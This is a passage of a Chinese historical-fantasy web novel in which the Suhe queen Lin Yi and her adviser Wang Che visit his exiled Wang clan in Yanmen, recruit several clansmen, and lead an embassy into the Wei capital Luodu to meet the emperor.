杨裳说完,便有丝竹之声响起,一列舞姬身穿粉色荷花裙,脚上是浅碧色的鞋子,数人一组团团凑成荷花模样,裙摆飞转起来更显美丽。或聚或散,满场起舞,正值夏季,这歌舞给人一种清新脱俗之感。 说实话,苏赫忽律第一次看到这样精致的舞蹈,雪域人也是能歌善舞的,但最多跳舞的时候穿差不多颜色的衣裳,可没有什么舞蹈主题还配专门舞裙的。荷花舞散后,很快又来了一轮伴着鱼儿出水的曲调,一群五彩鱼裙的少女又登场了,舞姿真像一群鱼儿在水里欢快游动。 别说苏赫忽律,林一也看得出神,出神到她明明很努力打扮成随从的模样,但这会儿忘记了演,频频把手伸到苏赫忽律这位王子的盘子里拿糕吃。 杨裳能说啥,只能当没看见而已。 江骋对舞蹈不感兴趣,他对女人的兴趣都不大,席间喝了一点酒,然后就静静地观察这一行使团,主要是观察林一,眉头微微蹙了起来。 不知为何,手按在了刀柄上,被杨裳笑着提了一句,江骋才停顿一下,手离腰间。 王澈一直没怎么开口,是到酒席将散之际,才托侍从传话到杨裳耳边的,杨裳抬头看他一眼,也没有声张,而是再令侍从传话。 见王清云就免了,不过王澈可以去见王氏族人,杨裳愿意给这个面子,让王澈带走他那一支的家眷。 说实话没怎么超出王澈的预计,次日王澈带上鸟随从,一主一从去了王氏族人的聚居地。王氏和后来的庞氏不同,那会儿魏帝老头 第一回干大世族,不敢做得太过,只是“诛首恶”,但又想保留震慑性,于是王氏男丁罚为苦役,女眷则为官奴。在很多地方官奴就是好听一些的说法,因为女子落到奴籍的地步,下场是可想而知的。 但王氏的情况还是好很多,大世族到了末路仍然有生存的机会。落难雁门之后,探清当地情况,知道这是杨裳一手遮天之地,于是王氏很快选定了几个杨门子弟,家族的延续有时候无关道德尊严之类,不仅小世族如此,大世族同样。 王清云最初被安排接近一位杨裳的子侄,但在一场酒宴上见到了杨裳本人后,王清云直接放弃原有目标,只是一个杨家子侄无法庇佑整个王氏,为何不图个大的? 杨裳发妻早亡,养了些美姬,但没有名分,在宴饮之类的场合,杨裳更是从不多看女人一眼,偶尔怀念发妻还会落泪,外人看来这已经算洁身自持。王清云却看得出来杨裳并非不好女色,只是要色也要名,他颇喜欢对妻子深情的名声。 几度接触之下,她成了杨裳第二个专情的对象,本是些表面功夫,杨裳也未必真把人放在心上,但大世族的美人计并不止于此。夫妻相处,美人柔怜,杨裳渐渐遣散了美姬,王氏的日子也就一天好过一天。 现在王氏族人聚居在几处村落里,一年只要参与两次正常徭役,女眷虽为官奴,却是真正的官奴,只做些浣纱缝补的活计,若有婚配直接并入男家,可脱离奴籍,杨裳做这些事顺手得很。 王澈到地头时,地里不少人正在忙活,年纪小的在翻田里的虫卵,青壮年在打水浇地,一趟趟很是辛苦,有个老头在田埂歇脚,王澈就问道:“老伯,住在这里的王氏族人里,有叫王镇的您知道住在哪儿吗?” 那戴着草帽的老头儿一愣,看了看王澈,又看了看他的轮椅,没吭声。 王澈又说:“可能老人家不认识,王镇有两个儿子,大概四十来岁年纪,一个长得和我相像,叫王辰,一个丑点叫王玄,他们是一家的。” 老头慢慢起身脱了鞋子,朝着王澈走来,王澈露出有些茫然的神情,还想再问,一回头林一已经跑了。 世家子弟还是没见过世面,没见过部落里的大娘脱鞋子走过来,准备打娃的那个气势。林一认人是认气息的,而且这老头只是黑了一些瘦了一些,五官和王澈可是非常非常像的啊! 老头王镇举起草鞋打在王澈头上,怒喝道:“好哇你,孙子不认爷爷了!” 骂得很凶,打得很轻,老头还是很心酸的*,我王氏最出彩的子弟,年年从雪域那地方给他们送钱粮,你不是应该过得很风光吗?咋就成了瘸腿儿? 第95章 贵族姓氏源远流长,王这个氏有多种不同的姓,姜姓王氏,姬姓王氏等,要有王这个氏,首先祖上得有一位王室,瑕丘王氏的始祖便是春秋时期鲁国的王子,最出名的先祖名为王叔齐,为孔圣之门下七十二贤之一。 齐鲁多美男子,王叔齐在孔门之中也以姿容辩才出名,在齐鲁之地,若有哪家公子出行,相貌美过常人的,多半便是王氏子。 不止年轻公子英俊出众,世族的中老一辈也没有难看的,在王澈印象里,祖父王镇年近七十,但鹤发童颜,仙风道骨,是个清瘦老者,而这草帽老头脸上皱纹遍布,黝黑粗糙,和田间地里忙活的老农没什么区别,他又哪里仔细看过农人的面目。 挨打不冤,被草鞋打了几下脑袋后,王澈摸了摸脸,微微动了动嘴唇,“祖父,你的模样……” 王镇摆了摆手,看上去并不放在心上,只是呼喝一声,“地里的,家里的,澈儿回来了,去杀几只鸡,炖几只羊,大家都来聚聚!家里留人看娃!” 嗓门很大,王澈实在不是很习惯,但是很快地里冲出来一个中年男子,是王澈的亲爹王辰,到底年轻许多,没怎么黑,只是看起来疲态些。看到王澈坐着轮椅的样子,王辰脚步停下来,不敢置信地瞪大眼睛,“澈儿?你怎么弄的?咋瘸的这腿?” 林一蹲在地里头假装自己是过路鸟,要不是人形,还能啄几只蝗虫吃吃。 但王澈硬生生就装下来了,他的两个堂兄弟跑得快,过来给他推轮椅,田垄天天有人走,比一般的地还要平整些,林一就悄没声地又跟上去了。 王家就像最普通的农家一样,家家户户都住那种稻草泥巴抹的屋子,只有王镇体面些,住的是个三间开阔的带院大屋,屋里坐不下了就挤到院子里,王澈始终没说腿的事儿,说起了自己在雪域的生活。 年年送回来的钱粮牛羊都没白费,有的用来打点了,上头就算有杨裳发话,但层层都是人脉关系网,想叫奴籍的丫头脱籍嫁人仍然要打点些的,也有一部分是逢年过节族里置办些年货,过冬衣裳,请医吃药这些。王澈送回来的东西实在是很管用的,一个流放的大家族路上便死了些体弱的,一般到了地头还会死些人,但因为王清云和王澈,王家扎根下来的过程中几乎没有什么人口损耗。 王澈脸上就露出一个笑,笑得很好看的,眼中略有欣慰,好像那些钱是他辛苦弄来的一样。 一族之亲,话是真不少,王澈记得以前叔母是个清贵忧愁的妇人,最常做的就是迎风流泪,写写诗词,伤春悲秋,这会儿正撸着袖子在院子里杀鸡。他三叔是个风流顽主,最爱歌舞姬,现在捧着一把瓜子在门槛上磕,见他看过来,露出个很踏实的笑容。 王澈揉了揉额头,“看起来,你们过得还挺舒心。” 王镇坐在村屋上首,嗓门还是很大,“每天睁眼干活,日落归家,这日子也算踏实了,没以前想得那么多,也不费脑子了,还成吧。” 他爹王辰还是有几分大世族二爷的体面,喝了口大白水,压低声音道:“杨无衣还算是个信人,族中年轻小辈都有着落,丫头嫁出去就入雁门的籍,长成的几乎都嫁干净了。至于你族兄弟这些,有去做幕僚的,也有转了小吏的,放心吧,哪里就饿死了咱们家。” 只能说魏帝头一遭对大世族下手,没什么经验,王家举族流放,那和举族搬迁的区别也就是没啥钱。死的是族长那一支,王镇的大儿,在当时魏帝眼里大概就是砍掉了世家最出色的主干,可一个真正的大世族,根苗健壮,岂总会绝处逢生的。 王澈压根没担心过,只是点了点头,王镇也喝了口大白水,“澈儿,你……你在那边还好吗?腿的事你不想说就不问了,苏赫部落最近是咋回事,你也上战场了吗?” 林一不是忍不住笑,主要是她想到一些高兴的事。 王镇看了她一眼,笑着说:“见到澈儿太高兴了,把客人都忘记了,这位是……” “祖父,别端着了,这是林女君,苏赫部的可敦,我们这趟来是为了出使洛都。”王澈一句话说完,咳嗽一声,不怎么客气地说:“瀚堂哥、澜堂哥,泱弟、泽弟、还有鸿儿,他们现在谋什么事?没做上郡守就跟我家主君走。” 王镇和两个儿子对视一眼,脸色严肃了起来,看了眼林一,迟疑道:“族中优秀子弟你都要带走?而且是去雪域,这不可。澈儿啊,魏君虽然负我,我为人臣,不可负他啊。” 林一没想到王澈这趟来还有帮她挖墙脚的打算,有些矜持地咽了咽口水,正要开口劝说老人家,就听王澈惫懒的声音响起来。 “祖父,阿父,叔父,别待价而沽,别哄抬人价,自家人别玩心眼子,何况你们现在的心眼就别跟我玩了吧。不提大伯一家,流放途中,祖母过世,族中多少女眷受辱,大堂哥被活活打死,两个还没有取名字的婴童……这还谈什么君臣情分,何况一头猪坐上君王之位,也要对猪忠吗?” 王镇叹气,摇摇头,“澈儿你啊,偏激!现在雁门的日子挺好的,族中也都过得不错,心平气和,心平气和。” 话音才落,外面有大嗓门响起:“老祖宗,李家的人又来打我们的水井!” “艹!”王镇丢下掷地有声的一句话,呼喝着儿郎们抄起家伙,也不管王澈了,马上出门去找李家村的人争水,王家的青壮不少,正聚集着,一出门就是浩浩荡荡的队伍。 王澈真觉得这个家已经没什么他熟悉的东西了,一回头发现林一也不见了。 林一跟着去争水了。 村里械斗这种事本身就是看壮劳力的,有她这么一个壮鸟力,很快就在一片怒骂和推搡中取得了阶段性胜利,李家人被推到田边,王家大获全胜,骂骂咧咧又兴高采烈地往回走。 这一役中,王镇对林一非常欣赏,再回来的时候,林一的小板凳已经被挪到了王澈前面,老人家很和蔼可亲,叹息地道:“可敦看来颇懂兵事,老夫也听闻过辽东之战,只是家国在前,容不得不谨慎哪。可敦殿下,您也知道,萧君大肆打压世族,迟早会出事的,但若那时雪域趁机南下,造成生灵涂炭,那黎命苍生又何辜,所以我实在不愿让族中后辈去您那里做事。” 林一拧起眉头,“苏赫部不是克烈部,老人家,我确实想扩大一些地盘,因为雪域太穷了,也太冷了,往南边走一走日子就会好过很多。可我不会搞屠杀,搞抢掠的。” “现在辽东那边我让姜命、也就是和王澈一样的世家子在任郡守,我们在辽东大面积种植耐旱作物,而且不收粮税,地里种出来多少东西都归庄稼人,辽东人现在过得很好。以后我占下其他地方也准备这样弄,我是真的很缺人手帮忙,老人家你不要把我当成那些劫掠者,我是…人类的好朋友?” 最后这话有一点点不确定,这话好像是这样说的吧,记不清在哪本毒鸟食里看过的了。 王镇的眼珠子一点都不像老年人的昏黄,反而黑白分明很是精明,他马上提取出了林一话里的重点:和王澈一样,世家子,在任郡守,以后占其他地方,很缺人手帮忙,不是劫掠者。 老头狠狠瞪了一眼王澈,你不是已经去了好几年了吗,咋个你就没当上郡守?要知道一个一品大世家,最多最多也就是控制一到两个郡罢了,王家所在之地瑕丘乃是郡治县名,隶属兖州山阳郡,上任族长在入朝辅佐废太子前便是山阳郡守。 王镇的态度很快就转变了,很诚恳地道:“是老头子误会可敦了,我王氏子弟一贯聪明上进,如今落难到这个地步,若可敦愿意提携,实在是王氏之幸,不光是青年才俊,族中有不少族人都曾为官,还有一些这几年长成的儿郎,澈儿还不大识得,他们全都愿为您驱策!” 当然,有老祖宗发话,有不愿意的就给他一草鞋。 王辰也机灵,很快出门到院子里喊了几嗓子,有住得远的在别村聚居的,也都派族里脚程快的年轻人去挨家挨户叫人。 一顿饭的时间,林一都快被这个王兄那个王弟弄得美色免疫了,而且基层生活锻炼人才啊,这些王家族人和子弟没几个虚的,那叫一个又精神又漂亮,还一个个长袖善舞,说话又好听,王澈对此善意评价道:“骚得像鸭子窝。” 要不是看他瘸腿,王镇要拿烟袋锅敲他脑袋了,怎么说话的?女君男臣,臣子又不难看的话,讨好一二有什么骚的?你就放个男皇帝坐那儿,满朝文武都是美姑娘,他再是万世明君也得瞅几眼吧? 老头儿还挺得意的,也就是我王家子弟个个俊得出挑,你放别家上哪掏出这么多美男子来。 第96章 至于跟王澈走,搬到苏赫部去,老头琢磨琢磨还是算了。 第一在雁门郡的日子确实还行,王家现在的地是烧林开荒开出来的,和原先的李家村算是并在了一块儿,李家往上再倒一倒是雁门郡里的中等世族,争不过有杨裳庇佑的王氏族人。还有去别村聚居的也基本过得都不错,对于世族来说安稳是最重要的。 第二就是雁门虽然是边郡,但有山有水的,杨裳给免了地税,也就是说别人家交的是三三税,王家只需要交给朝廷的三税,世族那份不用交,这就很宽裕了。去雪域那种地方,水土不服是真的会再死一批人的。 当然对着林一就是另一种说法了,王镇感叹地道:“塞外风光,老夫也想看看啊,可这年纪在这儿了,家里的地啊屋子啊,都是族人一点点搭起来的,也舍不得走喽!只盼着有生之年能安安稳稳的看着子孙落地生根,也算王家没亡在我这一辈儿上。” 林一很感动,然后数了数数目,带走一二三四五六一共二十七个王氏族人,其中有两对夫妻一起的,是为了给孩子一个前程。临行前,王镇让家里拿了些年前的腊肉香肠和几篮子鸡蛋,前者林一吃得很香,后者她壮了壮胆子开了一个喝生蛋,感觉滋味还可以。 还是王澈会开导人,“大鱼吃小鱼,鸟也会吃鸟蛋,何况这都是母鸡蛋,我祖父院子里没公鸡。” 这就涉及家禽知识了,母鸡在没有公鸡来配的情况下也会产蛋,这种无精蛋本身孵不出小鸡,僧侣有时候会吃这种蛋,都不算杀生,也不是沾荤。 然后林一就一个蛋接着一个蛋地喝。 王澈的三个父,祖父亲父叔父一直送他送到村外好几里地,还是有些舍不得,王澈的亲爹王辰抹了抹脸上不知道是汗水还是泪水的,对推轮椅的侄儿交代,“澜儿,你是兄长,一定要好好照顾澈儿,他不易啊!都是王家带累了他,他、他本该逃过一劫的。” 王澈的脸一黑。 王澜是个眉目俊秀的青年人,不到三十岁年纪,气质很稳重,扶着轮椅认认真真点头。 林一忽然看见王澈伸头看了看周边,也警觉起来,距离王家人稍微远了几步,然后就听王澈轻声开口道:“在离开之前,我还有话想说……” 三个父都朝他看去,王镇也很警觉,下意识想靠近一些,但被挤挤挨挨的族中小辈们给挡了挡,然后王澈就笑得很灿烂地说:“这椅子是我做的机关椅,事实上我的腿没坏,木得事!” 说完他就从轮椅上窜出几步远,而且越跑越远,顿时还在抹眼泪的王氏族人都愣住了,别人愣住王镇老头可没愣,立刻喝道:“臭小子装瘸子,抓住他!” 王澈的二堂哥王澜看着族人们呼啦啦跟随老爷子的脚步去抓王澈了,左看看右看看,还是去给王澈把空轮椅往前推,一边推一边又忍不住笑,聪明人也有百密一疏的时候,澈弟还当是从前族里老中青三代四体不勤五谷不分的时候呢! 果不其然,明明王澈先跑了五十米,还是被后来居上,大伙揪住他按在地上,让他结结实实挨了一顿草鞋。 再次上路的时候,王澈幽怨地看向林一,林一假装没看见他,开什么玩笑,我难道能抱起你就跑吗?那么多人追着打,这热闹、不是,这阵仗很大的,鸟心里也慌啊。 不过虽然王澈挨了打,但鸟大王的收获很大,王家这种大世族,族人就没有不认字的。王家还有族学,小孩子从三岁就入学,五岁能认识好多字了,通常长到八九岁就在学一些家族藏书的内容,然后课余还学一些吹拉弹唱(琴棋书画),各种培养,这还只是最普通的族人,像王澈这种天才学的就更多了,林一觉得把王家人放到百鸟帝国,那都可以去当一当教授学者了。 额,就是她在前面打仗,人家在后面操作军事AI的那种高端人才。 林一连夜给这些王氏族人办了商旅文书,又找了一批汪古商队把他们往苏赫部送,也不怕丢人,汪古部的商队是最讲信誉的,何况现在雪域全面禁奴,风气比以前好了不少。 至于把这些王家人带到洛都去,林一压根没去想,带个王澈就已经显得有些嚣张了,带一批王家人过去,那魏帝老头再是智商低,他也不会愿意交易了啊! 辞别杨裳,再次上路时林一就在喝鸡蛋,当然不是王家老爷子送的那几篮子,那个林一回去的路上就喝光了,而是后来又买的。为此苏赫忽律直接腾出了一辆马车放了好多筐蛋,林一喝蛋,然后偶尔骑兵们加加餐。 王澈吃不惯生的,看林一有事没事喝几个鸡蛋,观察了几天,有一天忽然询问道:“你从前……更习惯于喝稀粥之类的?” 林一有些疑惑地偏了偏鸟头。 “也可能是奶水汤水药羹这些,不重要。”王澈微微拧眉,“大概是一种感觉,我觉得可敦吃干食的时间应该很少,明显更习惯于饮用一些东西。” 林一觉得王澈身上是有些多智近妖存在的,她也没有隐瞒的意思,“我们一、一族吧,不怎么吃东西,主要是靠营养液维持生存和消耗,我不知道营养液的成分,但是每次补充之后就能消耗好些天呢。” 王澈又询问什么是营养液,营养液的质感和颜色之类,还询问了口感如何。 补充营养液时主要是泡和插管灌,林一当然知道营养液的口感,说完又笑道:“怎么,想分析成分,分析不出来的,那是我们族里的……不传之秘。” 说这话的时候没想太多,只是像在给姜命补充自己的食性一样,但王澈躺在板车里琢磨了一天,第二天找厨子弄了一碗热腾腾的羊油递给林一。 林一一手一个鸡蛋正在喝,没回头以为是水呢,喝完一个蛋空出一只手端过来,刚沾嘴唇就看了一眼,迟疑着又看看王澈。 王澈努嘴,示意她喝。 一整碗的羊油啊,油腻而腥臊,林一喝了两口,脸色顿时就变了,然后又喝了两口,喝完恨不得把碗给摔了。 该死的百鸟帝国,她以为的高端高精科技的营养液,至少有九成的成分真的是油啊!而且未必有动物油这么高端,营养液还没羊油好喝,可能是柴油(?)之类的。 唯一的好消息可能就是她有足够的动力往返各地了。 苏赫使团在即将抵达洛都时,正逢盛夏时节,穿皮子的早就开始扒皮了,也有的是绸缎料子,这其实不用脱,但穿的是黑绸缎的料子,顶着大太阳赶路实在是热得不行。 没错,正是苏赫二王子,使团的主使苏赫忽律,他骑在马上空出一只手就开始脱衣服,林一目光灼灼盯着看,他也毫不在意。灵巧的手指在腰间穿梭两下,两层衣裳一勾就脱完,最后只剩下一条裤子。和魏人的纨绔不一样,雪域的人为了骑马方便,裤子都是有裆的,所以可以只穿裤子。 苏赫忽律很白,迎着太阳一照都反光,而且白得很细腻,胸肌不像苏赫铎那样浮夸,腹肌有些单薄,不过整体的体态非常优美。这主要归功于二王子的谋士团总撺掇他出去打猎,打猎需要噤声防止惊跑猎物,这样他们能少听二王子说些大话。 林一还是有些矜持,“多少穿点吧,别晒黑、不是,不要晒伤了,晒黑、晒伤了对身体多不好啊。” 苏赫忽律不大在意地说:“可敦别担心,我们那儿太阳比这里毒得多,往年也没有晒伤过,这魏朝的太阳是有些弱啊,照在身上也就温热。” 对这个林一就不大了解,可能是紫外线还是别的什么东西,她这样绝望的文盲编都编不出个合理的,只好闷头欣赏美景。 不远处,王澜正在龇牙咧嘴骑马,离王澈的板车还挺近,他是二十七个王氏族人里唯一一个跟着去出使的,除了要照顾弟弟之外,就是他在洛都没什么名气。王澜从前骑马是君子六艺,骑马打猎射箭之类,富贵公子马轻肥,一年到头就春季骑马踏青,其他季节夏热秋困冬冷,像这样以骑马为主要交通工具的日子是一天都没过过。 他也是最近才发现骑马磨裆的。 王澈躺在板车里,叹道:“你不如猜猜,我颠得要散架了还坐车的缘故。” 王澜道:“可你不是躺着的嘛?” 和这种杠精没什么好聊的,王澈闭上了眼睛,忽然又听王澜声音压低地说:“弟啊,你跟我说说,你和那位林女君的事吧,我知晓分寸的,不会往外说,只是要在人家手底下做事,总要多了解一些。” 王澈露出一个笑,“你想多了解一些,我现在就可以告诉你。” 青年连忙把马凑过去,王澈的声音没高也没低,只是透露着淡淡的死鱼感,“虽然隔着一里地,但她耳朵就是这么好,能听见你刚才连放三个屁。” 王澜满以为弟弟是在开玩笑,这雪域的日子看来过得挺好,人都变幽默了,一天跟他开一个玩笑的。 第97章 洛都居中而治,北部黄河如带,设孟津渡口为交通枢纽,战时可控制敌军从水路南渡;西部潼关易守难攻,有崤函之固,乃是关中和中原的交通要道;东部虎牢关地处黄河与山地交界,是洛阳连通华北的必经之路,南有山为屏,山势复杂,不宜大军通行,偏合贵人行此小道。 自河东郡南下渡河,抵达崤函古道,经潼关后,过弘农、渑池。沿途为官道,每隔一段路就有驿馆补给,越近洛都,驿馆的饭菜就越香。 就是马走得有些疲倦了,中原不是雪域,到处都是田地,马不让踩田走,经过一些路比较窄的村落时只能小心翼翼,而且是走走停停,少有放纵奔跑的时候。 不过临近洛都就不一样了,正好赶上个稍微凉快的天气,林一准备早点进入洛都,在驿馆里睡个踏实觉,所以天不亮就叫众人起床。洛都土地肥沃,都城附近也有大面积农田,看到这地,苏赫忽律脑壳都疼,他的马也摇了摇头,实在不大想走,却在此时看到一群鲜衣少年策马扬鞭,马踏农田呼啸而过。 二王子的眼睛一下子就亮了,拉了拉林一的胳膊,“可敦你看,田也是可以走的。” 林一挠了挠头皮,还是拉着众人慢慢走在小路上,一边走一边指指点点,苏赫忽律看去,见到地里居然也有人,是一些光着身子在劳作的庄稼人,男女都有,有的在抹泪,有的小声斥骂,有上年纪的一声不吭去扶被马踏扁的稻苗。 王澈今日也骑马,路上也就算了,今天入城还坐着驴拉的板车,那成了个什么样子?不仅这样,他还把最好的衣裳穿在身上了,是一套红衣夏裳,越发衬托出他神仙姿容。 一边勒马慢行,他一边解释说道:“夏季在农田里劳作,多是趁夜趁早,穿衣裳干重活会磨破有损,或者一家一户仅有一身能见人的衣裳,不舍得在干活时穿用。” 他语气是很平静的,苏赫忽律听了却理解地点点头,“我们放牧的,夏天也不爱穿皮子,很多人家只有皮子穿,好在我们那儿夏短。” 林一也看见有人穿着草编的席子一样的衣裳,人要遮羞是天性,不舍得,不爱穿,天热,都只是无奈而已。 一直到过了这处村庄,前面马踏青苗的鲜衣少年们正在一处河岸边嬉笑玩水,有的是侍从去打了水来洗脸,应该是一群趁夜出来打猎,早晨归家的富贵公子。方才离得远,他们把苏赫使团这几百骑兵当成洛都周边巡防的将士了,一点都不在意,这会儿靠近了才发现是一群异族异貌的骑兵,纷纷好奇地张望过来。 苏赫忽律也坐直身子看向那边,神情冷峻而严肃,片刻后,说道:“水被他们弄浑了,我们不去打水了吧?” 说实话,刚才林一险些以为苏赫忽律是有什么大事要宣布。 王澈却很满意,“二殿下,等会儿进城,就保持刚才的表情就行,还有,带上这个。” 他从马后拿出一串狼牙项链,想了想又掏出一大簇狼尾巴,项链给苏赫忽律套在脖子上,狼尾巴毛挂在腰间皮裤上,又用一条彩宝额饰给他勒在脑门上。 苏赫忽律很费解,林一的眼睛却亮了亮,被这样一打扮,苏赫忽律多了几分野性姿态,维持着冷峻表情时更显出狠劲来,看起来就是个来自异族的王子模样。 虽然他好像确实是王子,但平时压根没有这种姿态的。 王澈打量片刻,又说道:“眉压低一些,眉心微微皱着,眼睛眯一点,嘴抿着,对对,这个表情比刚才好。” 苏赫忽律自己看不到,但这个表情已经模仿出了苏赫阿那几分神韵。 王澈这下完全满意了,他对林一解释道:“雪域遥远,洛都这边打探不到多少苏赫部落的消息,我们此行为了更好地达成目的,要营造出一种内部争斗的假象,比如野心勃勃出身高贵的二王子,有精通儒学,向往中原的同胞幼弟三王子作为辅助,两人密谋夺取军功赫赫的大王子继承人身份,为此可以达成一些损害雪域利益的交易。” 林一露出一个震惊的表情,这种假象也能营造出来的吗? 苏赫忽律则是茫然,王先生这话……除了最后一句,其他的他感觉全对啊,啊不对,乌苏还能辅助上他,两人一起对抗苏赫铎? 过午时分,洛都入城的大道上,来了一群形貌异常的外族使团,洛都来来往往的百姓和商旅都好奇地张望过去。 为首的异族青年额佩彩宝,显露高贵的身份,却赤着上身,一股野性而冰冷的气势扑面而来,三百骑兵紧随其后,一行人策马而行,惹得无数视线追随。 主要是那异族的头领长得太好看了!眉如月眼如星,又慷慨大方显露胸怀,时人虽然追捧世族美公子,可坐在车驾里的公子哪个会大大方方给你看美好的肉~体啊! 有等着入城的贵族车驾里,纤纤玉手矜持掀开帘缝,看了一眼,又接着一眼,然后车驾就跟着骑兵后头走了,车里的贵主子不停地探出头来,催促道:“快点,再快点,都看不见人家了!” 为了凸显出二王子的美色资本,王澈戴了个大兜帽,王澜其实觉得自己不用戴,但还是被扣了帽子。 洛都的百姓爱看热闹,都城有房有屋,这日子过得富庶,可不就只剩下看热闹了嘛。这会儿使团入城都住上馆驿了,街头巷尾还是处处都在聊刚才入城的事。 王澈挑了几个混血混得比较像魏人面容的骑兵出去放些消息。 “听说了吗,中午入城的异族骑兵头领是苏赫王部的二王子,啥?苏赫部是啥?嗨呀!雪域现在只有一个王了,就是苏赫大王!” “二王子的母家就是克烈部,每年跟咱们大魏打的那个蛮族,现在苏赫部是一个大王子,两个克烈母家的二三王子,大王子可是军功赫赫,擅长领兵,二王子的日子难喽。” “和亲?啊呸呸呸,玉华公主和亲的是克烈二王子,跟苏赫没关系,啥啊?什么都是雪域人一样的,克烈和苏赫不一样的!” “总之那个很漂亮的二王子……啥啊这是,我都被你们带歪了,总之就是二王子想当大王,得靠魏、得靠我们大魏了。” “啊,二王子不是过来卖、嗨呀!是寻求交易,寻求帮助!” …… 散布消息的第一天,骑兵们都气哭了,洛都人对雪域是真没什么了解,仅有的一点了解就是克烈部了,每年来劫掠的蛮族,占了他们辽东的那个。为了解释清楚苏赫部的事,两片嘴皮子都要磨薄了,换个地方一说,还是对上群脸懵逼,还有很多人咽着口水很想资助美貌的落难王子殿下。 不过放出去的消息自然有人打听,并且很快落入了有心人的耳朵里。 使团众人在馆驿里睡了一下午,醒来有官员来录事,其实早有消息通传,名义上是送玉华公主归国,使团睡觉之前就把车驾移交了,这会儿公主都在皇后怀里哭好几轮了。馆驿这边的官员主要负责一个文档记录,有快笔小吏从旁记录全程对谈。 见皇帝是要走流程的,馆驿这里上报九卿之一的大鸿胪,大鸿胪上奏魏帝,由魏帝决定什么时候接见,大鸿胪得到明确旨意之后安排教导面君礼仪,再沟通光禄勋和少府,几方定下接见场地和具体宴席规模,场地卫从等。总之流程很长,通常最快也要等五六天左右,有的附属小国最长甚至等了一年多。 魏朝的大鸿胪是魏帝的小舅子,皇后的幼弟担任,平时也不管事,这回同样没怎么管,把事情交上去后得到魏帝回复,五天后接见苏赫使团,然后就派了人去教导苏赫使团面君礼仪,自己是连面都没露。 礼仪这个环节其实也是看人下菜碟,对附属小国,下国之使参拜我上国之君,当随我国俗,也就是给魏帝老头咣咣咣磕响头;对民风比较野蛮的小国,意思意思也可以,万一人家觉得受辱了,接见席上往老头头上砸瓷盘呢?对苏赫王部嘛,您自家对大汗行什么礼仪,对我国君就行什么礼仪。 苏赫忽律一听就摇头,苏赫部落的礼仪是左手握拳抵住心口,微微弯腰行礼,这是在表示“我对您绝对忠诚”,这是可以向外人行的礼吗? 他其实宁愿磕大头,因为苏赫部和其他部落不一样,不养奴隶自然不会有奴隶磕头,习俗反而是“生人只跪亡者”,这样给老头磕几个也没关系的。 最后协商了一下,用前几天被接待过的小国礼仪,面朝魏帝三鞠躬即可。 苏赫忽律挺满意的,林一也觉得鞠躬比较文明,一群人里只有王澈脸色诡异,他通晓各国礼仪,并且从前很喜欢见各地来的商人流民了解很多冷门的知识点。如果没记错的话,那个海岛小国的面君礼仪压根不是三鞠躬,也是受到魏朝文化影响,是要磕头的。 这小国的三鞠躬明明是给死人上坟时的礼仪啊。 第98章 五日后清晨起身,提前一日沐浴擦身,天明再检验搜身确认没有携带兵刃,由鸿胪属官引路至天街北段,过天津桥,经端门、应天门进入洛宫之中。 天街是横贯洛都的直行大道,贵人行之,要是一直沿着天街走,还能走到洛宫深处,再从北门出玄武门,尽头至邙山。邙山也就是“青史几行名姓,北邙无数荒丘”的那个北邙,邙山之上多是皇家墓葬群,据说魏人下葬会埋葬好多好多贵重物品。 林一远远地望着北邙的方向,跟王澈小声嘀咕询问:“墓葬一般埋什么东西?黄金白银?有没有大规模的盔甲兵器什么的,以山为陵,肯定是为了藏宝藏吧?” 她还算有心眼,用的是雪*域语,可人家鸿胪属官就不懂雪域语了吗? 王澈倒也不放在心上,轻声解释道:“帝王随葬物贵重,外围是陪葬坑,生前的姬妾妃嫔,用惯的宫人侍从,喜爱的狗马车具之类,这些陪葬坑里会有亡者生前爱物,大多也很贵重。墓道内会有镇墓兽,耳室存放玉器礼器竹简藏书,主墓室里棺椁居中,周围陪葬帝王生前用具,棺椁内随葬少部分极其珍贵的爱物,下葬时口含珠玉,手握礼器,七窍存玉,以防魂飞,也象征着……地下仍享富贵。” 鸿胪属官都忍不住竖起了耳朵,他官位不算低了,但除了负责修陵墓的官员,谁会对帝陵里的事这样了若指掌?王澈甚至还有再详细往下说的意思,但洛宫已经到了。 魏帝萧宏今日在紫微宫乾元殿接见苏赫使团,乾元殿是近年新修的宫殿,翠瓦青墙,地面是磨得光可鉴人的白石,宫殿内雕梁画栋,宫人穿行其中,穿的都是软底的鞋子,怕磨损了地面。 苏赫忽律在引路宫人后面,作为使团的主使者第一个进入大殿,他的鹿皮靴踩在地面上,吧嗒吧嗒地响。这声音在安静的大殿里显得很突兀,但很快他就不突兀了,林一也踏步进来,脚步声比他还响,然后是使团里的其他人,乌珠骨碌还好奇地跺跺脚,这地面踩起来有回声。 萧宏坐在高高的座椅上,他的位置就很高,要靠近他还要爬阶梯,那阶梯就比白石地面更奢华,像是白玉质地,因为离得远,虽然宫殿结构利于主位发声,但萧宏懒得喊那么大声,全程都是一个大嗓门的宫人来来回回,凑过耳朵听帝王说话,然后小跑下台阶高声传达。 苏赫忽律直接往阶梯那边走,在阶梯前停下,先三鞠躬,然后开口说:“陛下,这个位置你能看清我吗?离得太远了我们说话不方便。” 萧宏还挺能理解这些蛮人的失礼,倒不生气,淡淡地说:“那就在玉阶下给苏赫王子赐座吧。” 苏赫忽律不嫌这位置低下,坐了下来,他昨天背了很多王澈教他的应答,连什么回答该配合什么表情都练习过很多次,脸上露出一些自信的笑容。 萧宏说道:“今年贵部可是做了不少事情,年头刚下辽东,入夏前吞并克烈、塔塔尔两部,苏赫汗如今也算得新一代大单于了。” 他语气微有感慨,苏赫忽律眼珠子微动,沉声说道:“这并非阿父的功绩,而是那一位……” 萧宏按在座椅扶手上的手立马就是一紧,想到他那未曾谋面的“好女儿”。 苏赫忽律一口气背诵道:“那位可敦、自称是姓林的,但是我的舅舅告诉我,她也许并不是姓林,而是庞,说大魏的皇帝也许能告知我答案,不过在路上我已经弄清楚了一些事情,您是否也已经清楚了呢?” 老头清楚个鸡毛! 但是帝王城府转了一圈,马上又想起恰在将萧玲珑远嫁之前除了庞家,而且这次远比对王氏狠,举族成丁的男子均杀死,老弱妇孺流放至边关,甚至还私底下让人在路上磋磨磋磨。后来再没听闻庞家事,边郡太守也报告没有接收到人犯,他也就把这事撂开手,满以为斩草除根。 